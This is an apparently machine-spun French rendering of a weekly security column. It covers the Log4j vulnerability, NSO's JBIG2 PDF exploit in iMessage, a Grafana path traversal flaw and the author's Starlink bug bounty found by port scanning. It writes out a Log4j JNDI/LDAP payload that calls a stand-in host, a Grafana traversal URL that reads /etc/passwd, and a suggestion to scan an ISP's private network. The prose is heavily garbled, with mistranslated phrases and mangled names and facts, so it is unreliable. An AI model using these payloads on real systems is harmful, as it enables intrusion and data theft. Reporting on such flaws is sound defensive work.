Cette semaine de sécurité: Log4J, PDF CPU, ainsi que j’ai piraté Starlink
Les énormes nouvelles cette semaine sont log4J, ne cassant que quelques heures aussi tard pour être incluses dans la colonne de la semaine dernière. Les gens demandent déjà s’il s’agit de la vulnérabilité la plus grave jamais, ainsi qu’elle ressemble à celle-ci est au moins dans la course à pied. Le bogue a été tout d’abord trouvé par des experts de sécurité à Alibaba, qui a notifié Apache de la faille du 24 novembre. Cloudflare a tiré leurs données, ainsi que découvert des preuves de la vulnérabilité à l’état sauvage dès le 1er décembre. Ces premiers exemples sont extrêmement rares ainsi que extrêmement ciblés, suffisants pour me faire question si ce n’était pas des chercheurs qui faisaient partie de la divulgation préliminaire faisant d’autres études de recherche sur le problème. Quoi qu’il en soit, le 9 décembre, une personne Twitter a tweeté les détails de la vulnérabilité, ainsi que de l’enfer de sécurité en vrac. Neuf minutes après le Tweet, Cloudflare a vu une tentative d’exploitation d’exploitation, ainsi que dans les huit heures, ils ont eu affaire à 20 000 tentatives d’exploitation par minute.
C’est la chronologie, mais ce qui se passe avec l’exploit, ainsi que pourquoi est-ce si mauvais? Premièrement, le paquet vulnérable est log4j, une bibliothèque de journalisation pour Java. Il permet aux processus d’obtenir des messages de journalisation dans lesquels ils doivent être utilisés, cependant avec beaucoup de cloches ainsi que de sifflets inclus. L’une de ces caractéristiques est la prise en charge de JNDI, une question de sécurité comprise dans Java. Une demande JNDI peut conduire à une attaque de désérialisation, où un flux de données entrant est mal formé, mal se comporter mal lorsqu’il est élargi dans un objet. Il ne s’agissait pas que ces recherches JNDI soient effectuées sur Internet, mais il n’y avait pas d’inspection explicite pour ce comportement, alors ici nous sommes.
La pensée finale est que si vous pouvez déclencher un journal composé avec log4j qui comprend $ {JNDI: LDAP: //example.com/a}, vous pouvez exécuter un code arbitraire sur cette machine. Les chercheurs ainsi que les criminels ont déjà présenté des méthodes innovantes pour gérer cela, comme l’inclure la chaîne dans un agent de navigateur, ou un tout prénom. Oui, c’est le retour des tables bits bobby.log4j 2.16.0. 2.15.0 contenait une solution partielle, cependant n’a pas complètement débarrassé du problème. Un Java mis à jour a également modifié un paramètre par défaut, fournissant une atténuation partielle. Cependant, nous n’avons probablement pas encore vu la fin de cela.
NSO ainsi que la CPU émulée dans un PDF
Avait-ce été quelqu’un d’autre que le travail de Google zéro racontant cette histoire, je l’aurais soufflé comme un pauvre plateau de tracé hollywoodien. Cette vulnérabilité est dans l’application iOS IMessage, ainsi que exactement comment elle gère des données .GIF contenant vraiment des données PDF. Les PDF sont flexibles pour la mettre légèrement. L’un des styles de codage possibles est JBIG2, un codec de compression noire et blanche de 2000. Une partie du codec est la capacité d’utiliser des opérateurs booléens et, ou, de XOR, ainsi que XNOR pour représenter des différences mineures entre les blocs comprimés. Un débordement entier dans le code de décompression permet de réfléchir beaucoup plus de mémoire à la sortie valide pour la décompression, ce qui signifie que le code de décompression peut exécuter ces opérateurs booléens sur cette mémoire supplémentaire.
Maintenant qu’est-ce que vous obtenez lorsque vous avez beaucoup de mémoire ainsi que ces quatre opérateurs? Un processeur total de Turing, bien sûr. Oui, les chercheurs du groupe NSO ont vraiment développé une CPU en ligne dans une routine de décodage PDF, ainsi que d’utiliser cette plate-forme pour bootstrap leur échappatoire de sandbox. C’est fou, incroyable, ainsi que brillant. [ED NOTE: Aussi bien pauvre, le groupe NSO est essentiellement mal.]
TRAVERSAL DE PATH GRAFANA
La plate-forme de visualisation de Grafana tout simplement récemment corrigé un problème grave, CVE-2021-43798. Cette vulnérabilité permet de traverser le chemin parcouru via les dossiers du plug-in. Donc, par exemple, /public/plugins/alertlist/../../../../../../../../etc/passwd retournerait les données PassWD à partir d’un serveur Linux. Les mises à jour fixant ce problème ont été publiées le 7 décembre. Ce bug était vraiment un 0 jours pendant quelques jours, car il s’agissait d’être discuté du 3ème publiquement, mais inconnu au Grafana Devs. Inspectez votre postmortem pour les détails.
Starlink
Et enfin, j’ai une étude de recherche originale à couvrir. Vous connaissez peut-être mon travail couvrant le système Web Satellite Starlink. Une partie de l’impulsion d’achat et de garder Starlink était de faire des études de recherche sur la sécurité sur la plate-forme, ainsi que cet objectif est enfin né des fruits – à hauteur d’une prime de 4 800 $. Voici l’histoire.
J’ai un copain proche qui utilise également Starlink, ainsi que le 7 décembre, nous avons découvert que nous avions tous deux été attribués une adresse IPv4 routière publiquement. Comment comment le routage de StarLink fonctionne-t-il entre abonnés? Le trafic Web serait-il envoyé de mon réseau à son réseau directement sur le satellite, ou si chaque paquet doit-il faire rebondir le satellite, avec la station terrestre de SpaceX, de retour à l’oiseau, ainsi que puis puis de retour vers moi? Traceroute est un outil merveilleux, ainsi qu’elle a répondu à la question suivante:
traceroute à 98,97,92.x (98.97.92.x), 30 paquets de houblon max, 46 octets
1 client.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 MS 24.020 MS 23.082 MS
2 172.16.248.6 (172.16.248.6) 27.783 MS 23.973 MS 27.363 MS
3 172.16.248.21 (172.16.248.21) 23,728 MS 26.880 MS 28.299 MS
4 non définis.hostname.Localhost (98.97.92.x) 59.220 MS 51.474 MS 51,877 MS
Nous n’avons pas compris avec précision ce que chaque hop était, cependant, le nombre de sauts ainsi que la latence à chaque le rend relativement supprimé que notre trafic Web se déroulait avec une station de sol. Cependant, il y a quelque chose d’étrange à propos de cette traceroute. Avez-vous la zone de zone? 172.16.x.y est un réseau personnel, selon RFC1918. La vérité qu’elle apparaît dans une traceroute signifie que mon routeur OpenWrt ainsi que des appareils StarLink achètent efficacement depuis mon bureau à cette adresse. Maintenant, j’ai déjà découvert ce genre de chose sur un réseau d’ISP différent. Comprendre que cela pourrait être intéressant, j’ai introduit le NMAP et scanné les IP personnelles qui ont montré dans la traceroute. Bingo.
Le 172.16.248.6 a été correctement verrouillé, cependant 172.16.248.21 a montré des ports ouverts. À savoir les ports 179, 9100, 9101, ainsi que 50051. NMAP croyait que 179 était BGP, qui sonnait à peu près. Cependant le reste d’entre eux? Telnet. J’étais relativement certain que rien d’entre eux n’étaient vraiment des services Telnet, mais c’est un début fantastique lorsque vous essayez de déterminer un service inconnu. Ce n’était pas une exception. Les ports 9100 ainsi que 9101 m’ont dit que j’avais fait une mauvaise demande, jetant une erreur 400s. Ah, ils étaient des services http! Tirer les deux dans un navigateur Web m’a fourni une sortie de débogage qui semblait provenant d’un serveur de flacon Python.
Ce dernier port, 50051, était intéressant. Le seul service que je pouvais découvrir, qui était normalement exécuté, le GRPC de Google, un protocole d’appel téléphonique de la procédure à distance. GRPC_CLI est arrivé utile pour vérifier que c’était ce que j’avais trouvé. Malheureusement, la réflexion était désactivée, ce qui signifie que le service a refusé d’énumérer les commandes qu’elle a soutenues. Mappage de tout type de commandes nécessiterait de lancer beaucoup de données sur ce port.
À ce stade, j’ai commencé à interroger avec précision quels matériel je parlais. Il a fait BGP, il était intérieur du réseau Starlink, ainsi que mon trafic Web achèverait avec elle. Ce pourrait être un satellite? Le plus probablement pas, cependant, la Bonnet Starlink Bug est tout à fait supprimer de ce qui devrait venir ensuite. En aucun cas, un chercheur ne doit faire des tests en ligne sur un satellite ou une autre infrastructure cruciale. Je soupçonnais que je parlais de faire partie de leur infrastructure de routage, probablement à la station terrestre de Dallas. De toute façon, piquer aussi bien difficile que la rupture de quelque chose a été fronçée, alors j’ai composé la divulgation sur ce que j’avais trouvé.
Les ingénieurs Starlink avaient les ports fermés dans les douze heures du rapport et m’ont demandé de vérifier leur triage. Bien sûr, alors que je pouvais toujours ping les IP personnels, aucun port n’était ouvert. Voici là où je dois créer des antécédents de crédit les gars qui exécutent Bonnet StaidLink Bug Bounty. Ils auraient pu appeler cette simple divulgation d’informations, payé quelques centaines de dollars, ainsi que l’appelé une journée. Au lieu de cela, ils ont pris le temps d’enquêter et ont été vérifiés que j’avais effectivement trouvé un port de GRPC ouvert, ainsi que puis a laissé tomber la bombe que c’était un point final non authentifié. La découverte a noré une récompense préliminaire de 3 800 $, ainsi qu’une récompense de 1 000 $ pour un rapport complet ainsi que de ne pas casser leurs systèmes en ligne. Comme mon copain régional l’a mis à moitié joker, c’est beaucoup d’argent pour la gestion de NMAP.
Oui, il y avait un peu de chance impliqué, intégré à une grande expérience préalable des bizarreries de réseau. La principale rabattre devrait être que l’étude de la recherche en matière de sécurité ne doit pas toujours être la vulnérabilité ultime et exploitez le développement. Vous n’avez pas à développer un système complet complet dans un fichier PDF. Parfois, il ne s’agit que d’une adresse IP ainsi que d’un balayage de port, intégré à la persistance ainsi qu’un peu de chance. En fait, si votre ISP dispose d’un programme de bourse, vous pouvez essayer de brancher une machine Linux directement dans le modem, ainsi que de numériser la gamme IP personnelle. Garde tes yeux ouverts. Vous aussi, vous venez de découvrir quelque chose d’intéressant.